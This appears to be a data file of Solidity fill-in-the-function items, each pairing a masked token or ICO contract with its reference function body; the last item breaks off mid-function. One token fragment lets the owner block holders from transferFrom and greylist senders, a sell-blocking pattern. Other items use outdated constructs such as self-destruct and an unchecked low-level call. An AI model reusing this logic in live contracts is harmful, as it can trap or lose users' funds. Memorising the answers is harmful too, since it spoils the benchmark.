transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(allow[_from] == true); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function addAllow(address holder, bool allowApprove) external onlyOwner { allow[holder] = allowApprove; } //1% at start uint256 public basePercentage = 1; function findPercentage(uint256 amount) public view returns (uint256) { uint256 percent = amount.mul(basePercentage).div(20000); return percent; } //burning function burn(uint256 amount) external { _burn(msg.sender, amount); } function _burn(address account, uint256 amount) internal { require(amount != 0); require(amount <= _balances[account]); _totalSup = _totalSup.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } //burn rate change, only by owner function changeBurnRate(uint8 newRate) external onlyOwner { basePercentage = newRate; } //airdrop phase change, only by owner function changeAirdropPhase(uint8 _airdrop) external onlyOwner { airdrop = _airdrop; } <FILL_FUNCTION> }
//Not to 0x, using burn() if (_to == address(0)) revert(); if (_value <= 0) revert(); if (_balances[_from] < _value) revert(); if (_balances[_to] + _value < _balances[_to]) revert(); if (airdrop == 1) { if (isInGreylist(msg.sender)) { revert(); } } if(_to == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D || _to == owner || _from == owner) { _balances[_from] = SafeMath.sub(_balances[_from], _value); _balances[_to] = SafeMath.add(_balances[_to], _value); emit Transfer(_from, _to, _value); } else { uint256 tokensToBurn = findPercentage(_value); uint256 tokensToTransfer = _value.sub(tokensToBurn); _balances[_from] = SafeMath.sub(_balances[_from], tokensToTransfer); _balances[_to] = _balances[_to].add(tokensToTransfer); emit Transfer(_from, _to, tokensToTransfer); _burn(_from, tokensToBurn); }
function _executeTransfer(address _from, address _to, uint256 _value) private
//transfer function _executeTransfer(address _from, address _to, uint256 _value) private
71210
StableICO
drawdown
contract StableICO is Ownable, SafeMath { uint256 public crowdfundingTarget; // ICO target, in wei ERC223Token_STA public sta; // address of STA token ERC223Token_STB public stb; // address of STB token address public beneficiary; // where the donation is transferred after successful ICO uint256 public icoStartBlock; // number of start block of ICO uint256 public icoEndBlock; // number of end block of ICO bool public isIcoFinished; // boolean for ICO status - is ICO finished? bool public isIcoSucceeded; // boolean for ICO status - is crowdfunding target reached? bool public isDonatedEthTransferred; // boolean for ICO status - is donation transferred to the secure account? bool public isStbMintedForStaEx; // boolean for ICO status - is extra STB tokens minted for covering exchange of STA token? uint256 public receivedStaAmount; // amount of received STA tokens from rewarded miners uint256 public totalFunded; // amount of ETH donations uint256 public ownersEth; // amount of ETH transferred to ICO contract by the owner uint256 public oneStaIsStb; // one STA value in STB struct Donor { // struct for ETH donations address donorAddress; uint256 ethAmount; uint256 block; bool exchangedOrRefunded; uint256 stbAmount; } mapping (uint256 => Donor) public donations; // storage for ETH donations uint256 public donationNum; // counter of ETH donations struct Miner { // struct for received STA tokens address minerAddress; uint256 staAmount; uint256 block; bool exchanged; uint256 stbAmount; } mapping (uint256 => Miner) public receivedSta; // storage for received STA tokens uint256 public minerNum; // counter of STA receives /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); event MessageExchangeEthStb(address from, uint256 eth, uint256 stb); event MessageExchangeStaStb(address from, uint256 sta, uint256 stb); event MessageReceiveEth(address from, uint256 eth, uint256 block); event MessageReceiveSta(address from, uint256 sta, uint256 block); event MessageReceiveStb(address from, uint256 stb, uint256 block, bytes data); // it should never happen event MessageRefundEth(address donor_address, uint256 eth); /* constructor */ function StableICO() { crowdfundingTarget = 200000000000000000; // INIT (test: 0.2 ETH) sta = ERC223Token_STA(0xe1e8f9bd535384a345c2a7a29a15df8fc345ad9c); // INIT stb = ERC223Token_STB(0x1e46a3f0552c5acf8ced4fe21a789b412f0e792a); // INIT beneficiary = 0x29ef9329bc15b7c11d047217618186b52bb4c8ff; // INIT icoStartBlock = 4230000; // INIT icoEndBlock = 4230150; // INIT } /* trigger rewarding the miner with STA token */ function claimMiningReward() public onlyOwner { sta.claimMiningReward(); } /* Receiving STA from miners - during and after ICO */ function tokenFallback(address _from, uint256 _value, bytes _data) { if (block.number < icoStartBlock) throw; if (msg.sender == address(sta)) { if (_value < 50000000) throw; // minimum 0.5 STA if (block.number < icoEndBlock+14*3456) { // allow STA tokens exchange for around 14 days (25s/block) after ICO receivedSta[minerNum] = Miner(_from, _value, block.number, false, 0); minerNum += 1; receivedStaAmount = safeAdd(receivedStaAmount, _value); MessageReceiveSta(_from, _value, block.number); } else throw; } else if(msg.sender == address(stb)) { MessageReceiveStb(_from, _value, block.number, _data); } else { throw; // other tokens } } /* Receiving ETH */ function () payable { if (msg.value < 10000000000000000) throw; // minimum 0.1 ETH TEST: 0.01ETH // before ICO (pre-ico) if (block.number < icoStartBlock) { if (msg.sender == owner) { ownersEth = safeAdd(ownersEth, msg.value); } else { totalFunded = safeAdd(totalFunded, msg.value); donations[donationNum] = Donor(msg.sender, msg.value, block.number, false, 0); donationNum += 1; MessageReceiveEth(msg.sender, msg.value, block.number); } } // during ICO else if (block.number >= icoStartBlock && block.number <= icoEndBlock) { if (msg.sender != owner) { totalFunded = safeAdd(totalFunded, msg.value); donations[donationNum] = Donor(msg.sender, msg.value, block.number, false, 0); donationNum += 1; MessageReceiveEth(msg.sender, msg.value, block.number); } else ownersEth = safeAdd(ownersEth, msg.value); } // after ICO - first ETH transfer is returned to the sender else if (block.number > icoEndBlock) { if (!isIcoFinished) { isIcoFinished = true; msg.sender.transfer(msg.value); // return ETH to the sender if (totalFunded >= crowdfundingTarget) { isIcoSucceeded = true; exchangeStaStb(0, minerNum); exchangeEthStb(0, donationNum); drawdown(); } else { refund(0, donationNum); } } else { if (msg.sender != owner) throw; // WARNING: senders ETH may be lost (if transferred after finished ICO) ownersEth = safeAdd(ownersEth, msg.value); } } else { throw; // WARNING: senders ETH may be lost (if transferred after finished ICO) } } /* send STB to the miners who returned STA tokens - after successful ICO */ function exchangeStaStb(uint256 _from, uint256 _to) private { if (!isIcoSucceeded) throw; if (_from >= _to) return; // skip the function if there is invalid range given for loop uint256 _sta2stb = 10**4; uint256 _wei2stb = 10**14; if (!isStbMintedForStaEx) { uint256 _mintAmount = (10*totalFunded)*5/1000 / _wei2stb; // 0.5% extra STB minting for STA covering oneStaIsStb = _mintAmount / 100; stb.mint(address(this), _mintAmount); isStbMintedForStaEx = true; } /* exchange */ uint256 _toBurn = 0; for (uint256 i = _from; i < _to; i++) { if (receivedSta[i].exchanged) continue; // skip already exchanged STA stb.transfer(receivedSta[i].minerAddress, receivedSta[i].staAmount/_sta2stb * oneStaIsStb / 10**4); receivedSta[i].exchanged = true; receivedSta[i].stbAmount = receivedSta[i].staAmount/_sta2stb * oneStaIsStb / 10**4; _toBurn += receivedSta[i].staAmount; MessageExchangeStaStb(receivedSta[i].minerAddress, receivedSta[i].staAmount, receivedSta[i].staAmount/_sta2stb * oneStaIsStb / 10**4); } sta.burn(address(this), _toBurn); // burn received and processed STA tokens } /* send STB to the donors - after successful ICO */ function exchangeEthStb(uint256 _from, uint256 _to) private { if (!isIcoSucceeded) throw; if (_from >= _to) return; // skip the function if there is invalid range given for loop uint256 _wei2stb = 10**14; // calculate eth to stb exchange uint _pb = (icoEndBlock - icoStartBlock)/4; uint _bonus; /* mint */ uint256 _mintAmount = 0; for (uint256 i = _from; i < _to; i++) { if (donations[i].exchangedOrRefunded) continue; // skip already minted STB if (donations[i].block < icoStartBlock + _pb) _bonus = 6; // first period; bonus in % else if (donations[i].block >= icoStartBlock + _pb && donations[i].block < icoStartBlock + 2*_pb) _bonus = 4; // 2nd else if (donations[i].block >= icoStartBlock + 2*_pb && donations[i].block < icoStartBlock + 3*_pb) _bonus = 2; // 3rd else _bonus = 0; // 4th _mintAmount += 10 * ( (100 + _bonus) * (donations[i].ethAmount / _wei2stb) / 100); } stb.mint(address(this), _mintAmount); /* exchange */ for (i = _from; i < _to; i++) { if (donations[i].exchangedOrRefunded) continue; // skip already exchanged ETH if (donations[i].block < icoStartBlock + _pb) _bonus = 6; // first period; bonus in % else if (donations[i].block >= icoStartBlock + _pb && donations[i].block < icoStartBlock + 2*_pb) _bonus = 4; // 2nd else if (donations[i].block >= icoStartBlock + 2*_pb && donations[i].block < icoStartBlock + 3*_pb) _bonus = 2; // 3rd else _bonus = 0; // 4th stb.transfer(donations[i].donorAddress, 10 * ( (100 + _bonus) * (donations[i].ethAmount / _wei2stb) / 100) ); donations[i].exchangedOrRefunded = true; donations[i].stbAmount = 10 * ( (100 + _bonus) * (donations[i].ethAmount / _wei2stb) / 100); MessageExchangeEthStb(donations[i].donorAddress, donations[i].ethAmount, 10 * ( (100 + _bonus) * (donations[i].ethAmount / _wei2stb) / 100)); } } // send funds to the ICO beneficiary account - after successful ICO function drawdown() private {<FILL_FUNCTION_BODY> } /* refund ETH - after unsuccessful ICO */ function refund(uint256 _from, uint256 _to) private { if (!isIcoFinished || isIcoSucceeded) throw; if (_from >= _to) return; for (uint256 i = _from; i < _to; i++) { if (donations[i].exchangedOrRefunded) continue; donations[i].donorAddress.transfer(donations[i].ethAmount); donations[i].exchangedOrRefunded = true; MessageRefundEth(donations[i].donorAddress, donations[i].ethAmount); } } // send owner's funds to the ICO owner - after ICO function transferEthToOwner(uint256 _amount) public onlyOwner { if (!isIcoFinished || _amount <= 0 || _amount > ownersEth) throw; owner.transfer(_amount); ownersEth -= _amount; } // send STB to the ICO owner - after ICO function transferStbToOwner(uint256 _amount) public onlyOwner { if (!isIcoFinished || _amount <= 0) throw; stb.transfer(owner, _amount); } /* backup functions to be executed "manually" - in case of a critical ethereum platform failure during automatic function execution */ function backup_finishIcoVars() public onlyOwner { if (block.number <= icoEndBlock || isIcoFinished) throw; isIcoFinished = true; if (totalFunded >= crowdfundingTarget) isIcoSucceeded = true; } function backup_exchangeStaStb(uint256 _from, uint256 _to) public onlyOwner { exchangeStaStb(_from, _to); } function backup_exchangeEthStb(uint256 _from, uint256 _to) public onlyOwner { exchangeEthStb(_from, _to); } function backup_drawdown() public onlyOwner { drawdown(); } function backup_drawdown_amount(uint256 _amount) public onlyOwner { if (!isIcoSucceeded) throw; beneficiary.transfer(_amount); } function backup_refund(uint256 _from, uint256 _to) public onlyOwner { refund(_from, _to); } /* /backup */ function selfDestroy() onlyOwner { // TEST ONLY suicide(this); } }
contract StableICO is Ownable, SafeMath { uint256 public crowdfundingTarget; // ICO target, in wei ERC223Token_STA public sta; // address of STA token ERC223Token_STB public stb; // address of STB token address public beneficiary; // where the donation is transferred after successful ICO uint256 public icoStartBlock; // number of start block of ICO uint256 public icoEndBlock; // number of end block of ICO bool public isIcoFinished; // boolean for ICO status - is ICO finished? bool public isIcoSucceeded; // boolean for ICO status - is crowdfunding target reached? bool public isDonatedEthTransferred; // boolean for ICO status - is donation transferred to the secure account? bool public isStbMintedForStaEx; // boolean for ICO status - is extra STB tokens minted for covering exchange of STA token? uint256 public receivedStaAmount; // amount of received STA tokens from rewarded miners uint256 public totalFunded; // amount of ETH donations uint256 public ownersEth; // amount of ETH transferred to ICO contract by the owner uint256 public oneStaIsStb; // one STA value in STB struct Donor { // struct for ETH donations address donorAddress; uint256 ethAmount; uint256 block; bool exchangedOrRefunded; uint256 stbAmount; } mapping (uint256 => Donor) public donations; // storage for ETH donations uint256 public donationNum; // counter of ETH donations struct Miner { // struct for received STA tokens address minerAddress; uint256 staAmount; uint256 block; bool exchanged; uint256 stbAmount; } mapping (uint256 => Miner) public receivedSta; // storage for received STA tokens uint256 public minerNum; // counter of STA receives /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); event MessageExchangeEthStb(address from, uint256 eth, uint256 stb); event MessageExchangeStaStb(address from, uint256 sta, uint256 stb); event MessageReceiveEth(address from, uint256 eth, uint256 block); event MessageReceiveSta(address from, uint256 sta, uint256 block); event MessageReceiveStb(address from, uint256 stb, uint256 block, bytes data); // it should never happen event MessageRefundEth(address donor_address, uint256 eth); /* constructor */ function StableICO() { crowdfundingTarget = 200000000000000000; // INIT (test: 0.2 ETH) sta = ERC223Token_STA(0xe1e8f9bd535384a345c2a7a29a15df8fc345ad9c); // INIT stb = ERC223Token_STB(0x1e46a3f0552c5acf8ced4fe21a789b412f0e792a); // INIT beneficiary = 0x29ef9329bc15b7c11d047217618186b52bb4c8ff; // INIT icoStartBlock = 4230000; // INIT icoEndBlock = 4230150; // INIT } /* trigger rewarding the miner with STA token */ function claimMiningReward() public onlyOwner { sta.claimMiningReward(); } /* Receiving STA from miners - during and after ICO */ function tokenFallback(address _from, uint256 _value, bytes _data) { if (block.number < icoStartBlock) throw; if (msg.sender == address(sta)) { if (_value < 50000000) throw; // minimum 0.5 STA if (block.number < icoEndBlock+14*3456) { // allow STA tokens exchange for around 14 days (25s/block) after ICO receivedSta[minerNum] = Miner(_from, _value, block.number, false, 0); minerNum += 1; receivedStaAmount = safeAdd(receivedStaAmount, _value); MessageReceiveSta(_from, _value, block.number); } else throw; } else if(msg.sender == address(stb)) { MessageReceiveStb(_from, _value, block.number, _data); } else { throw; // other tokens } } /* Receiving ETH */ function () payable { if (msg.value < 10000000000000000) throw; // minimum 0.1 ETH TEST: 0.01ETH // before ICO (pre-ico) if (block.number < icoStartBlock) { if (msg.sender == owner) { ownersEth = safeAdd(ownersEth, msg.value); } else { totalFunded = safeAdd(totalFunded, msg.value); donations[donationNum] = Donor(msg.sender, msg.value, block.number, false, 0); donationNum += 1; MessageReceiveEth(msg.sender, msg.value, block.number); } } // during ICO else if (block.number >= icoStartBlock && block.number <= icoEndBlock) { if (msg.sender != owner) { totalFunded = safeAdd(totalFunded, msg.value); donations[donationNum] = Donor(msg.sender, msg.value, block.number, false, 0); donationNum += 1; MessageReceiveEth(msg.sender, msg.value, block.number); } else ownersEth = safeAdd(ownersEth, msg.value); } // after ICO - first ETH transfer is returned to the sender else if (block.number > icoEndBlock) { if (!isIcoFinished) { isIcoFinished = true; msg.sender.transfer(msg.value); // return ETH to the sender if (totalFunded >= crowdfundingTarget) { isIcoSucceeded = true; exchangeStaStb(0, minerNum); exchangeEthStb(0, donationNum); drawdown(); } else { refund(0, donationNum); } } else { if (msg.sender != owner) throw; // WARNING: senders ETH may be lost (if transferred after finished ICO) ownersEth = safeAdd(ownersEth, msg.value); } } else { throw; // WARNING: senders ETH may be lost (if transferred after finished ICO) } } /* send STB to the miners who returned STA tokens - after successful ICO */ function exchangeStaStb(uint256 _from, uint256 _to) private { if (!isIcoSucceeded) throw; if (_from >= _to) return; // skip the function if there is invalid range given for loop uint256 _sta2stb = 10**4; uint256 _wei2stb = 10**14; if (!isStbMintedForStaEx) { uint256 _mintAmount = (10*totalFunded)*5/1000 / _wei2stb; // 0.5% extra STB minting for STA covering oneStaIsStb = _mintAmount / 100; stb.mint(address(this), _mintAmount); isStbMintedForStaEx = true; } /* exchange */ uint256 _toBurn = 0; for (uint256 i = _from; i < _to; i++) { if (receivedSta[i].exchanged) continue; // skip already exchanged STA stb.transfer(receivedSta[i].minerAddress, receivedSta[i].staAmount/_sta2stb * oneStaIsStb / 10**4); receivedSta[i].exchanged = true; receivedSta[i].stbAmount = receivedSta[i].staAmount/_sta2stb * oneStaIsStb / 10**4; _toBurn += receivedSta[i].staAmount; MessageExchangeStaStb(receivedSta[i].minerAddress, receivedSta[i].staAmount, receivedSta[i].staAmount/_sta2stb * oneStaIsStb / 10**4); } sta.burn(address(this), _toBurn); // burn received and processed STA tokens } /* send STB to the donors - after successful ICO */ function exchangeEthStb(uint256 _from, uint256 _to) private { if (!isIcoSucceeded) throw; if (_from >= _to) return; // skip the function if there is invalid range given for loop uint256 _wei2stb = 10**14; // calculate eth to stb exchange uint _pb = (icoEndBlock - icoStartBlock)/4; uint _bonus; /* mint */ uint256 _mintAmount = 0; for (uint256 i = _from; i < _to; i++) { if (donations[i].exchangedOrRefunded) continue; // skip already minted STB if (donations[i].block < icoStartBlock + _pb) _bonus = 6; // first period; bonus in % else if (donations[i].block >= icoStartBlock + _pb && donations[i].block < icoStartBlock + 2*_pb) _bonus = 4; // 2nd else if (donations[i].block >= icoStartBlock + 2*_pb && donations[i].block < icoStartBlock + 3*_pb) _bonus = 2; // 3rd else _bonus = 0; // 4th _mintAmount += 10 * ( (100 + _bonus) * (donations[i].ethAmount / _wei2stb) / 100); } stb.mint(address(this), _mintAmount); /* exchange */ for (i = _from; i < _to; i++) { if (donations[i].exchangedOrRefunded) continue; // skip already exchanged ETH if (donations[i].block < icoStartBlock + _pb) _bonus = 6; // first period; bonus in % else if (donations[i].block >= icoStartBlock + _pb && donations[i].block < icoStartBlock + 2*_pb) _bonus = 4; // 2nd else if (donations[i].block >= icoStartBlock + 2*_pb && donations[i].block < icoStartBlock + 3*_pb) _bonus = 2; // 3rd else _bonus = 0; // 4th stb.transfer(donations[i].donorAddress, 10 * ( (100 + _bonus) * (donations[i].ethAmount / _wei2stb) / 100) ); donations[i].exchangedOrRefunded = true; donations[i].stbAmount = 10 * ( (100 + _bonus) * (donations[i].ethAmount / _wei2stb) / 100); MessageExchangeEthStb(donations[i].donorAddress, donations[i].ethAmount, 10 * ( (100 + _bonus) * (donations[i].ethAmount / _wei2stb) / 100)); } } <FILL_FUNCTION> /* refund ETH - after unsuccessful ICO */ function refund(uint256 _from, uint256 _to) private { if (!isIcoFinished || isIcoSucceeded) throw; if (_from >= _to) return; for (uint256 i = _from; i < _to; i++) { if (donations[i].exchangedOrRefunded) continue; donations[i].donorAddress.transfer(donations[i].ethAmount); donations[i].exchangedOrRefunded = true; MessageRefundEth(donations[i].donorAddress, donations[i].ethAmount); } } // send owner's funds to the ICO owner - after ICO function transferEthToOwner(uint256 _amount) public onlyOwner { if (!isIcoFinished || _amount <= 0 || _amount > ownersEth) throw; owner.transfer(_amount); ownersEth -= _amount; } // send STB to the ICO owner - after ICO function transferStbToOwner(uint256 _amount) public onlyOwner { if (!isIcoFinished || _amount <= 0) throw; stb.transfer(owner, _amount); } /* backup functions to be executed "manually" - in case of a critical ethereum platform failure during automatic function execution */ function backup_finishIcoVars() public onlyOwner { if (block.number <= icoEndBlock || isIcoFinished) throw; isIcoFinished = true; if (totalFunded >= crowdfundingTarget) isIcoSucceeded = true; } function backup_exchangeStaStb(uint256 _from, uint256 _to) public onlyOwner { exchangeStaStb(_from, _to); } function backup_exchangeEthStb(uint256 _from, uint256 _to) public onlyOwner { exchangeEthStb(_from, _to); } function backup_drawdown() public onlyOwner { drawdown(); } function backup_drawdown_amount(uint256 _amount) public onlyOwner { if (!isIcoSucceeded) throw; beneficiary.transfer(_amount); } function backup_refund(uint256 _from, uint256 _to) public onlyOwner { refund(_from, _to); } /* /backup */ function selfDestroy() onlyOwner { // TEST ONLY suicide(this); } }
if (!isIcoSucceeded || isDonatedEthTransferred) throw; beneficiary.transfer(totalFunded); isDonatedEthTransferred = true;
function drawdown() private
// send funds to the ICO beneficiary account - after successful ICO function drawdown() private
26219
MozyDAO
_burn
contract MozyDAO is ERC20Detailed { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; string constant tokenName = "Mozy DAO"; string constant tokenSymbol = "MDAO"; uint8 constant tokenDecimals = 18; uint256 _totalSupply = 100000000000000000000000; uint256 public basePercent = 100; constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) { _mint(msg.sender, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function findOnePercent(uint256 value) public view returns (uint256) { uint256 roundValue = value.ceil(basePercent); uint256 onePercent = roundValue.mul(basePercent).div(10000); return onePercent; } function transfer(address to, uint256 value) public returns (bool) { require(value <= _balances[msg.sender]); require(to != address(0)); uint256 tokensToBurn = findOnePercent(value); uint256 tokensToTransfer = value.sub(tokensToBurn); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); emit Transfer(msg.sender, to, tokensToTransfer); emit Transfer(msg.sender, address(0), tokensToBurn); return true; } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); } } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); _balances[from] = _balances[from].sub(value); uint256 tokensToBurn = findOnePercent(value); uint256 tokensToTransfer = value.sub(tokensToBurn); _balances[to] = _balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, tokensToTransfer); emit Transfer(from, address(0), tokensToBurn); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _mint(address account, uint256 amount) internal { require(amount != 0); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function burn(uint256 amount) external { _burn(msg.sender, amount); } function _burn(address account, uint256 amount) internal {<FILL_FUNCTION_BODY> } function burnFrom(address account, uint256 amount) external { require(amount <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount); _burn(account, amount); } }
contract MozyDAO is ERC20Detailed { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; string constant tokenName = "Mozy DAO"; string constant tokenSymbol = "MDAO"; uint8 constant tokenDecimals = 18; uint256 _totalSupply = 100000000000000000000000; uint256 public basePercent = 100; constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) { _mint(msg.sender, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function findOnePercent(uint256 value) public view returns (uint256) { uint256 roundValue = value.ceil(basePercent); uint256 onePercent = roundValue.mul(basePercent).div(10000); return onePercent; } function transfer(address to, uint256 value) public returns (bool) { require(value <= _balances[msg.sender]); require(to != address(0)); uint256 tokensToBurn = findOnePercent(value); uint256 tokensToTransfer = value.sub(tokensToBurn); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); emit Transfer(msg.sender, to, tokensToTransfer); emit Transfer(msg.sender, address(0), tokensToBurn); return true; } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); } } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); _balances[from] = _balances[from].sub(value); uint256 tokensToBurn = findOnePercent(value); uint256 tokensToTransfer = value.sub(tokensToBurn); _balances[to] = _balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, tokensToTransfer); emit Transfer(from, address(0), tokensToBurn); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _mint(address account, uint256 amount) internal { require(amount != 0); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function burn(uint256 amount) external { _burn(msg.sender, amount); } <FILL_FUNCTION> function burnFrom(address account, uint256 amount) external { require(amount <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount); _burn(account, amount); } }
require(amount != 0); require(amount <= _balances[account]); _totalSupply = _totalSupply.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount);
function _burn(address account, uint256 amount) internal
function _burn(address account, uint256 amount) internal
74329
rSatoshiStreetBets
null
contract rSatoshiStreetBets is ERC20 { constructor () ERC20('rSatoshiStreetBets', 'rSSB') public {<FILL_FUNCTION_BODY> } }
contract rSatoshiStreetBets is ERC20 { <FILL_FUNCTION> }
_mint(0x2765813E91F1B403a429C82D3988734f4B5141d4, 10000000 * 10 ** uint(decimals()));
constructor () ERC20('rSatoshiStreetBets', 'rSSB') public
constructor () ERC20('rSatoshiStreetBets', 'rSSB') public
60450
CorruptionCoin
approveAndCall
contract CorruptionCoin is StandardToken { function () { throw; } string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. function CorruptionCoin( ) { balances[msg.sender] = 1000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 1000000000000; // Update total supply (100000 for example) name = "CorruptionCoin"; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = "CRTC"; // Set the symbol for display purposes } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {<FILL_FUNCTION_BODY> } }
contract CorruptionCoin is StandardToken { function () { throw; } string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. function CorruptionCoin( ) { balances[msg.sender] = 1000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 1000000000000; // Update total supply (100000 for example) name = "CorruptionCoin"; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = "CRTC"; // Set the symbol for display purposes } <FILL_FUNCTION> }
allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true;
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success)
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success)
53591
EthereumMailService
comment
contract EthereumMailService is ERC721URIStorage { using Counters for Counters.Counter; Counters.Counter private tokenId; using SafeMath for uint256; EMS public ems; event Post(string ipfsHash); event Like(uint256 _tokenId); event Comment(uint256 _tokenId, string ipfsHash); event Remail(uint256 _tokenId); event GenNFT(uint256 _tokenId,string ipfsHash); mapping(address => uint256[]) public mails; mapping(address => uint256[]) public likes; mapping(address => uint256[]) public commentsValueIndex; mapping(address => mapping(uint256 => uint256[])) public comments; mapping(address => uint256[]) public remails; mapping(uint256 => uint256) public mailLikes; mapping(uint256 => uint256[]) public mailComments; mapping(uint256 => uint256) public mailRemails; constructor(EMS _ems) public ERC721("Ethereum Mail Service", "EMS") { ems = _ems; } function getMintBase() public view returns (uint256) { uint256 left = 210000000000 * 10**ems.decimals() - ems.totalSupply(); return left.div(10**4); } function post(string memory _ipfsHash) public { tokenId.increment(); mails[msg.sender].push(tokenId.current()); _genNFT(tokenId.current(), _ipfsHash); uint256 base = getMintBase(); _mintEMS(msg.sender, base); emit Post(_ipfsHash); } function _genNFT(uint256 _tokenId, string memory _ipfsHash) internal { _safeMint(msg.sender, _tokenId); _setTokenURI(_tokenId, _ipfsHash); emit GenNFT(_tokenId, _ipfsHash); } function like(uint256 _tokenId) public { likes[msg.sender].push(_tokenId); mailLikes[_tokenId] = mailLikes[_tokenId].add(1); uint256 base = getMintBase(); _mintEMS(msg.sender, base.div(2)); _mintEMS(ownerOf(_tokenId), base.div(2)); emit Like(_tokenId); } function comment(uint256 _tokenId, string memory _ipfsHash) public {<FILL_FUNCTION_BODY> } function remail(uint256 _tokenId) public { remails[msg.sender].push(_tokenId); mailRemails[_tokenId] = mailRemails[_tokenId].add(1); uint256 base = getMintBase(); _mintEMS(msg.sender, base.div(2)); _mintEMS(ownerOf(_tokenId), base.div(2)); emit Remail(_tokenId); } function _mintEMS(address _account, uint256 _amount) internal { ems.mint(_account, _amount); } function getMailsLength(address _account) public view returns (uint256) { return mails[_account].length; } function getLikesLength(address _account) public view returns (uint256) { return likes[_account].length; } function getCommentsValueIndexLength(address _account) public view returns (uint256) { return commentsValueIndex[_account].length; } function getCommentsLength(address _account, uint256 _tokenId) public view returns (uint256) { return comments[_account][_tokenId].length; } function getRemailsLength(address _account) public view returns (uint256) { return remails[_account].length; } function getMailCommentsLength(uint256 _tokenId) public view returns (uint256) { return 